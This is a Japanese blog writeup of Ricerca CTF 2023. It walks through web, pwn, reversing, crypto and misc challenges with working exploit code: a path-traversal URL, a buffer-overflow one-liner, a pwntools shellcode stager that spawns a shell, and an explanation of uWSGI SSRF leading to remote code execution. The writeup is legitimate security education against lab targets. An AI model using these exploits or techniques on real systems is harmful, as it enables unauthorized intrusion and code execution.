Satoooonの物置

CTFなどをしていない

Ricerca CTF 2023 Writeup

Ricerca Securityが主催のRicerca CTF 2023にソロで参加し、総合13位/国内学生チーム2位/個人チーム2位という結果でした。国内学生チームTOP3内なので賞金が貰えてうれしい。

順位表

問題

Web

Cat Café [113 solves]

猫の画像が表示されるサイト。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

../再帰的に消去されていないので、..././を投げると../を作ることができて、Local File Inclusionができる。

http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

tinyDB [50 solves]

username/passwordを入力すると登録/ログインができて、そのユーザーのusername/passwordと権限(guest/admin)を教えてくれるサイト。adminになれればフラグが手に入る。

ユーザーのDBはセッションごとに作成され、初期化時にadminユーザーが作られている。パスワードはランダムなので推測はできない。

const db = new Map<SessionT, UserDBT>();

export function getUserDB(session: string) {
  if (db.has(session)) {
    return db.get(session) as UserDBT;
  } else {
    const userDB = new Map<AuthT, gradeT>();
    userDB.set(
      {
        username: "admin",
        password: adminPW,
      },
      "admin"
    );
    db.set(session, userDB);
    return userDB;
  }
}

また、ユーザー数が10を超えるとDBがクリアされ、adminユーザーが新しく追加される。DBがクリアされるときレスポンスで返すユーザー情報はadminの情報になるのだが、パスワード部分が***...に置換されるのでレスポンスからはパスワードがわからない。

加えて、間違ったパスワードでadminユーザーとして登録しようとすると数秒後にadminのパスワードが変更されるようになっている。

type UserBodyT = Partial<AuthT>;
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

  response.type("application/json").send(res);
});

わかりやすい脆弱性はないので、恐らく後述の処理で何かしらのロジックバグがあるのだろうと想像できるが、長い間わからなかった。

色々実験していると、サイズ上限でDBがクリアされてadminの情報が返ってくるときに、権限がadminとして表示されていることに気付く。

Result:
{
  "authId": "admin",
  "authPW": "********************************",
  "grade": "admin"
}

レスポンスに含める権限情報はgrade: userDB.get(auth)の部分で設定しているのだが、そのときのauth.password***...のはずだ。本来DBに格納されているパスワードとは異なるのでgradeguestとして表示されなければおかしい。

競技中は何が原因かはわからなかったが、どうやらadminのパスワードが***...に変わっていると推測できる。ロールバック処理にも引っかかるので、DBがクリアされてからすぐにadmin:********************************でログインするとフラグが手に入る。

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

この原因は競技後振り返って理解した。

userDB.setした後にauth.passwordを変更しているので一見大丈夫なように見えるが、セットしたauthオブジェクトはコピーされてるわけではないので、auth.passwordを変更するとuserDBに入っているパスワードも変更されてしまうというわけだ。なるほどとなった。

funnylfi (unsolved) [6 solves]

今回の敗因。

import subprocess
from flask import Flask, request, Response


app = Flask(__name__)


# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
                url = url.replace(c, "")
        except:
            continue
    return url


# Scheme Detector
def scheme_detector(url :str) -> bool:
    bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
                   "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
    url = url.lower()
    for s in bad_schemes:
        if s in url:
            return True
    return False


# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response


@app.route("/")
def funnylfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>"
    if scheme_detector(url):
        return "Hi, Scheme man !!!!"
    try:
        proc = subprocess.run(
            f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "[error]: timeout"
    if proc.returncode != 0:
        return "[error]: curl"
    return proc.stdout


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

curlが実行できるが、いくつかのフィルターがある。scheme_detectorfile://スキームがブロックされているが、Unicode正規化を使ったfile://でバイパスできる。

そのためfile:///var/www/flagでフラグが手に入ると思ったら、もう一枚フィルターがあった。wafによりRicSecが入るレスポンスをブロックされてしまっている。これはSECCON CTF 202 Finalのeasylfiを彷彿とさせるが、その問題で使ったstdoutのバッファ長制限は今回は無理なように見える。

ではどうするか、というのが問題の核心。自分はgopherプロトコルが使える部分に注目して、SSRFで何かできないか考えた。

WSGIサーバーにはuWSGIを利用している。uwsgi SSRFで調べると一つの記事を見つけた。

github.com

これによると、uWSGI 1.9以上3.0未満でuWSGIに好きなパケットを送れる状況のとき、RCEが可能らしいことがわかる。今問題のバージョンを見てみると、uWSGIは2.0.20だった。(3.0はまだstableでないっぽい)

このテクニックはReal World CTF 2018で出題されたらしくて、より詳細な説明が次の記事でされている。

zaratec.io

このexploitはuWSGIがWSGIのパケットを処理するときに特殊に扱う変数を利用してRCEをするというものだ。UWSGI_FILEという変数を指定すると、変数に格納されたパスを元に新しいアプリケーションを開始する。ファイルアップロードがあればそれを指定すればRCEだし、uWSGIはexecというURLスキームもサポートしているようなのでexec://echo pwnedということもできてしまう。

uwsgi-docs.readthedocs.io

これが本当にできるかDocker内でパケットを送信して試していたところ、exec://はなぜか駄目だったけどhttp://は使えるので、外部のPythonプログラムを読み込ませてRCEすることはできた。

今回はcurlgopherプロトコルを使えばuWSGIにパケットを送信することができるので、これで勝ち_____と思ったが、curl: (3) URL using bad/illegal format or missing URLでコケた。

どうやら、最近のcurlだとnull(%00)が含まれているgopherURLを弾くようになっているらしい。そんな…… (悲しい1)

github.com

「つまり、nullを含まないuWSGIのパケットを作成するか、また違うuWSGI SSRFのexploitを見つけろって問題だな!」と勝手に推測してuWSGIプロトコルの理解に数時間を費やしたが、UWSGI_FILEをKeyとして指定するときにどうしても2byteのサイズ部分が0A 00になってしまうし、他の種類のexploitを探しても見つからなかった。

また、modifier1=22のパケットを投げるとPython Codeを自由に実行してくれると仕様には書かれているのだが、残念ながら今問題のuWSGI実装ではサポートしていなかった。(悲しい2)

uwsgi-docs.readthedocs.io

結局、uWSGIへのSSRFを用いたSSRFは想定解ではなかった。(悲しい3) 断言はできないが今回の環境では恐らく不可能だったと思う。

想定はmbc_sanitizer(url[:0x3f]).encode('idna').decode()の部分でIDNAに変換するとき-が作れるのを利用することだった。多少気になったけど-が作れるとは思わなくてスルーしていた。なるほど……

ちなみにapp.pyを書き替える非想定解もあったらしい。試してないけど、scpみたいなファイルダウンロードを利用するのかな?後で復習したい。

pwn

BOFSec [107 solves]

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

Buffer Over Flowでis_adminを上書きすれば勝ち。文字列を繰り返すのはprintfでできるらしいが覚えてないのでPythonでやる。

$ py -c 'print("A"*0x101)' | nc bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

NEMU [20 solves]

コマンドで4つのレジスタを操作する独自命令をエミュレートできるプログラム。

int32_t r1 = 0, r2 = 0, r3 = 0, a = 0;
...
   switch (readint()) {
      case 1: {
        void load(uint64_t imm) { a = imm; }
        op_fp = load;
        read_fp = readimm;
        break;
      }
      case 2: {
        void mov(uint64_t* reg) { *reg = a; }
        op_fp = mov;
        read_fp = readreg;
        break;
      }
      case 3: {
        void inc(uint64_t* reg) { *reg += 1; }
        op_fp = inc;
        read_fp = readreg;
        break;
      }
      case 4: {
        void dbl(uint64_t* reg) { *reg *= 2; }
        op_fp = dbl;
        read_fp = readreg;
        break;
      }
      case 5: {
        void addi(uint64_t imm) { a += imm; }
        op_fp = addi;
        read_fp = readimm;
        break;
      }
      case 6: {
        void add(uint64_t* reg) { a += *reg; }
        op_fp = add;
        read_fp = readreg;
        break;
      }
      default:
        exit(1);
    }

int32_tuint64_tとして扱っているのが脆弱性。これによりr1からはみ出した部分でgccのトランポリンコードという仕組みによりスタックに存在しているadd関数のバイトコードを4byte上書きできる。

つまり4byteのシェルコード実行が可能だが、短くやりづらいのでa,r3,r2で12byteのシェルコードを作り4byteでそこに飛ばすことを考える。RIPとaは近いので、short jump(0xeb)で飛べばよい。

飛んだ後に12byteでshを実行するのも面倒なので、retを使って何度もaddを呼び出し、1byteずつシェルコードを書いてstagerをした。あとはshell stormから拾ったシェルコードでシェルを手に入れる。

(このシェルコード実行パートはMapleCTF 2022 - Puzzling Oversightとよく似ているな~と思いながら解いていた。もちろん意図したわけじゃないでしょうし問題ないですが……)

io = connect()

payload = b"\xeb\xee\x00\x00"

num = u32(payload)

# print()
io.sendline("1")
io.sendline("#" + str(u32(payload, signed=True)))
io.sendline("2")
io.sendline("r1")

for i in range(32):
    io.sendline("4")
    io.sendline("r1")

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

for i, c in enumerate(shellcode):
    writer = asm(f"""
        mov BYTE PTR [rbp+{i}], {c}
        ret
    """)
    writer += b"\x90" * (12 - len(writer))


    io.sendline("1")
    io.sendline("#" + str(u32(writer[4:8])))
    io.sendline("2")
    io.sendline("r3")

    io.sendline("1")
    io.sendline("#" + str(u32(writer[:4])))

    io.sendline("6")
    io.sendline("r2")

writer = asm(f"""
    jmp rbp
""")
writer += b"\x90" * (12 - len(writer))


io.sendline("1")
io.sendline("#" + str(u32(writer[4:8])))
io.sendline("2")
io.sendline("r3")

io.sendline("1")
io.sendline("#" + str(u32(writer[:4])))

io.sendline("6")
io.sendline("r2")
io.interactive()

RicSec{me0w_i_am_n3mu_n3mu_c4tt0}

safe thread (unsolved) [4 solves]

今回BOFは使えなさそう。

脆弱性BOFなので「これは...どっちだ...?」となり、funnylfiに時間割きたいのでパスしてしまった。実際BOFで解けるようなので、実験くらいはするべきだったと反省している。

Reversing

crackme [134 solves]

実行するとパスワードの入力が求められるが、radare2で見たらパスワードが見つかったので入力すればフラグが出てくる。

0x0000113c      488d35e30e00.  lea rsi, str.N1pp0n_Ich__s3cuR3_p45_w0rD ; 0x2026 ; "N1pp0n-Ich!_s3cuR3_p45$w0rD" ; const char *s2

RicSec{U_R_h1y0k0_cr4ck3r!}

ignition [6 solves]

3... 2... 1... ignition.

ヒント: Ghidra v9.2.2 を使用してください

言われた通りGhidra 9.2.2を用意する。

jscという拡張子のファイルと、その実行環境が渡される。調べると、どうやらNodejsのバイトコードのようだ。

調べたらghidra_nodejsというツールが見つかったのでをインストールしてデコンパイルしてみる。

int F(int n,void *this)

{
  code *pcVar1;
  int iVar2;
  int iVar3;

  StackCheck();
  iVar2 = True;
  if (n != 0) {
    iVar2 = False;
  }
  if (iVar2 != False) {
    return 0;
  }
  iVar2 = True;
  if (n != 1) {
    iVar2 = False;
  }
  if (iVar2 == False) {
    pcVar1 = (code *)F;
    if (pcVar1 == TheHole) {
      pcVar1 = (code *)(*(code *)ThrowReferenceError)("F",_context);
    }
    iVar2 = (*pcVar1)(n + -1);
    pcVar1 = (code *)F;
    if (pcVar1 == TheHole) {
      pcVar1 = (code *)(*(code *)ThrowReferenceError)("F",_context);
    }
    iVar3 = (*pcVar1)(n + -2);
    return iVar2 + iVar3;
  }
  return 1;
}

Fという関数があるが、これは一目フィボナッチ数列再帰で求めるやつだとわかる。checkFlag関数を見てみる。

int checkFlag(int s,void *this)

{
  undefined4 uVar1;
  undefined4 uVar2;
  int continue;
  int iVar3;
  uint charcode;
  code *charCodeAt;
  uint uVar4;
  uint uVar5;
  int i;
  int encoded;
  uint _charcode;

  _context = CreateFunctionContext(_context,_closure,1);
  *(undefined4 *)F = TheHole;
  StackCheck();
  uVar1 = CreateArrayLiteral(_context,_closure,0,0,0x25);
  uVar2 = CreateClosure(_context,fib,1,2);
  *(undefined4 *)F = uVar2;
  continue = LdaNamedProperty(s,length);
  i = True;
  if (continue != 0x24) {
    i = False;
  }
  if (i != True) {
    return False;
  }
  charCodeAt = (code *)LdaNamedProperty(s,"slice");
  continue = (*charCodeAt)(7,0);
  iVar3 = GetConstant((undefined8)"RicSec{");
  i = True;
  if (continue != iVar3) {
    i = False;
  }
  if (i != False) {
    charCodeAt = (code *)LdaNamedProperty(continue,"slice");
    charcode = (*charCodeAt)(0xffffffff,this);
    _charcode = GetConstant((undefined8)"}");
    i = True;
    if (charcode != _charcode) {
      i = False;
    }
    if (i == True) {
      i = 0;
      while( true ) {
        continue = True;
        if (0x1b < i) {
          continue = False;
        }
        if (continue == False) {
          return True;
        }
        StackCheck();
        charCodeAt = (code *)LdaNamedProperty(charcode,"charCodeAt");
        charcode = (*charCodeAt)(i + 7);
        _charcode = charcode;
        uVar4 = (*(code *)F)(i);
        uVar5 = LdaKeyedProperty(_context,uVar1,i);
        continue = True;
        if ((_charcode ^ uVar4 & 0xff) != uVar5) {
          continue = False;
        }
        if (continue != True) break;
        i = i + 1;
        CheckOSRLevel(0);
      }
      return False;
    }
  }
  return False;
}

フラグを判定している部分はflag.charCodeAt(i) ^ fib(i) != array[i]だが、arrayの中身が見当たらない。どこかにはあるはずなので、GhidraのListing Windowをしらみつぶしに見たら見つけることができた。

                         //
                         // .arrs 
                         // ram:21000000-ram:210000e3
                         //
                         Array_0_21000000                                XREF[1]:     22000008 (*)   
    21000000 1c  00  00       Array_0
       21000000 1c  00  00  00    ddw       1Ch                     Count                             XREF[1]:     22000008 (*)   
       21000004 00  00  00  00  3  longlong  3100000000h             Item0
       2100000c 00  00  00  00  6  longlong  6600000000h             Item1
       21000014 00  00  00  00  6  longlong  6F00000000h             Item2
       2100001c 00  00  00  00  3  longlong  3300000000h             Item3
       21000024 00  00  00  00  7  longlong  7700000000h             Item4
       2100002c 00  00  00  00  3  longlong  3400000000h             Item5
       21000034 00  00  00  00  3  longlong  3800000000h             Item6
       2100003c 00  00  00  00  6  longlong  6300000000h             Item7
       21000044 00  00  00  00  4  longlong  4A00000000h             Item8
       2100004c 00  00  00  00  4  longlong  4000000000h             Item9
       21000054 00  00  00  00  4  longlong  4E00000000h             Item10
       2100005c 00  00  00  00  2  longlong  2D00000000h             Item11
       21000064 00  00  00  00  f  longlong  F500000000h             Item12
       2100006c 00  00  00  00  8  longlong  8A00000000h             Item13
       21000074 00  00  00  00  4  longlong  4900000000h             Item14
       2100007c 00  00  00  00  0  longlong  600000000h              Item15
       21000084 00  00  00  00  b  longlong  BE00000000h             Item16
       2100008c 00  00  00  00  6  longlong  6200000000h             Item17
       21000094 00  00  00  00  2  longlong  2900000000h             Item18
       2100009c 00  00  00  00  2  longlong  2600000000h             Item19
       210000a4 00  00  00  00  3  longlong  3200000000h             Item20
       210000ac 00  00  00  00  b  longlong  B100000000h             Item21
       210000b4 00  00  00  00  1  longlong  1F00000000h             Item22
       210000bc 00  00  00  00  a  longlong  AE00000000h             Item23
       210000c4 00  00  00  00  5  longlong  5200000000h             Item24
       210000cc 00  00  00  00  2  longlong  2000000000h             Item25
       210000d4 00  00  00  00  5  longlong  5200000000h             Item26
       210000dc 00  00  00  00  2  longlong  2A00000000h             Item27

あとはデコーダを書くだけ。

def fib(n):
    if n == 0:
        return 0
    if n == 1:
        return 1
    return fib(n-1) + fib(n-2)
enc = [0x31, 0x66, 0x6F, 0x33, 0x77, 0x34, 0x38, 0x63, 0x4A, 0x40, 0x4E, 0x2D, 0xF5, 0x8A, 0x49, 0x6, 0xBE, 0x62, 0x29, 0x26, 0x32, 0xB1, 0x1F, 0xAE, 0x52, 0x20, 0x52, 0x2A]

flag = ""
for i in range(0x1c):
    c = (fib(i) ^ enc[i]) & 0xff
    flag += chr(c)
print(flag)

RicSec{1gn1t10n_bytec0de_1s_s0_r1ch}

tic tac toe? (unsolved) [6 solves]

マルバツゲームのプログラム。

Ghidraで見るとforkをして元プロセスをexitしてその終了コードを元に判定する...というのを何度も繰り返す処理が見つかって、「exitの戻り値を判定条件としてz3に投げるやつか」と想像はできたが処理を読むのが重そうなので時間を気にしてパスしてしまった。

Crypto

Revolving Letters [119 solves]

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def encrypt(secret, key):
  assert len(secret) <= len(key)

  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26]

  return result

flag    = input()
key     = "thequickbrownfoxjumpsoverthelazydog"
example = "lorem ipsum dolor sit amet"
example_encrypted = encrypt(example, key)
flag_encrypted = encrypt(flag, key)

print(f"{key=}")
print(f"{example=}")
print(f"encrypt(example, key): {example_encrypted}")
print(f"encrypt(flag, key): {flag_encrypted}")

encrypt関数はsecretの各文字をkeyの各文字分ずらす関数。逆の分だけずらしてやると元の文が手に入る。

key='thequickbrownfoxjumpsoverthelazydog'
enc = "RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}"

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def decrypt(secret, key):
  assert len(secret) <= len(key)

  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i])) % 26]

  return result

print(decrypt(enc, key))

RicSec{great_you_can_do_anything!}

Rotated Secret Analysis [34 solves]

import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime

flag = os.environ.get("FLAG", "fakeflag").encode()

while True:
  p = getPrime(1024)
  q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate)
  if isPrime(q): break

n = p * q
e = 0x10001
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'{n=}')
print(f'{e=}')
print(f'{c=}')

(はてなtex記法に敗北したのでtexそのまま表示しています。なぜ二つ目の[tex: ]から変換されないんだ......)

RSAだが、qはpの上位512bitと下位512bitを入れ替えた数になっている。

Crypto-erがよくしている立式を思い出すと、p = 2^{512}a+b, q=2^{512}b+aと見ることができる。このときn=2^{1024}ab+2^{512}(a2+b2)+abで、a,bはそれぞれ512bitなのでnを分解すると以下の様になる。

| a * b  |
    | a^2+b^2 |
         | a * b  |

つまり、nの上位512bitと下位512bitを持ってくればabが手に入り、そこからa2+b2も手に入れることができる。a2+b2は繰り上がりを考えると513bitなので、nの上位512bitを取るときは場合によっては1を引く必要がある。(今回はそのケースだった)

あとはa2+2ab+b2=(a+b)2からa+bが手に入るので、解と係数の関係を利用するとa,bが手に入る。あとはp,qを計算して復号するだけ。

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

# p = a * 2 ** 512 + b
# q = b * 2 ** 512 + a
# | a * b  |
#     | a^2+b^2 |
#          | a * b |


n_1 = n >> 1024
n_2 = n & (2**1024 - 1)

ab_2 = n & (2**512 - 1)

ab_1 = ((n_1 - ab_2) >> 512) - 1
ab = ab_1 * 2 ** 512 + ab_2
tmp = n - ab * 2 ** 1024 - ab
a2_p_b2 = tmp >> 512

from gmpy2 import isqrt
a_p_b = isqrt(a2_p_b2 + 2 * ab)
assert a_p_b ** 2 == a2_p_b2 + 2 * ab

a = (a_p_b + isqrt(a_p_b ** 2 - 4 * ab)) // 2
b = (a_p_b - isqrt(a_p_b ** 2 - 4 * ab)) // 2
assert a * b == ab

p = a * 2 ** 512 + b
q = b * 2 ** 512 + a
assert p * q == n

from Crypto.Util.number import long_to_bytes
d = pow(e, -1, (p-1) * (q-1))
print(long_to_bytes(pow(c, d, n)))

RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}

今まではこういう問題に負けがちだったので、これ解けたの個人的にかなり嬉しい。

(RSALCGは何もわかりませんでしたが...)

Misc

gatekeeper [21 solves]

import subprocess

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')

  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')

  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())
  else:
    print('Wrong')

base64した結果がopen sesame!である必要があるが、open sesame!base64結果であるb3BlbiBzZXNhbWUhは禁止されている。

適当に実験しても何も見つからなかったので、base64ソースコードを見に行く。すると、4文字で分けた時に終端でなくてもaa==aaa=が許可されていることがわかった。

github.com

それを元に実験してみると、途中で=が現れた場合は一旦状態をクリアして、次の文字列から改めて復号し始めることがわかった。つまり、bw==(平文o)とcGVuIHNlc2FtZSE=(平文pen sesame!)をくっつけたbw==cGVuIHNlc2FtZSE=を投げるとフラグが手に入る。

RicSec{b4s364_c4n_c0nt41n_p4ddin6}

First Bloodだった。わいわい。

感想

高品質な問題ぞろいで楽しかったです。来年も期待しています。

ところで来週は私が作問に参加したthehackerscrew主催のCrewCTFが開催されます。今CTFのような素晴らしい問題が出るとは保証できませんが、少なくとも私の作った問題はよくできたと思っているので、よかったら遊びに来てください。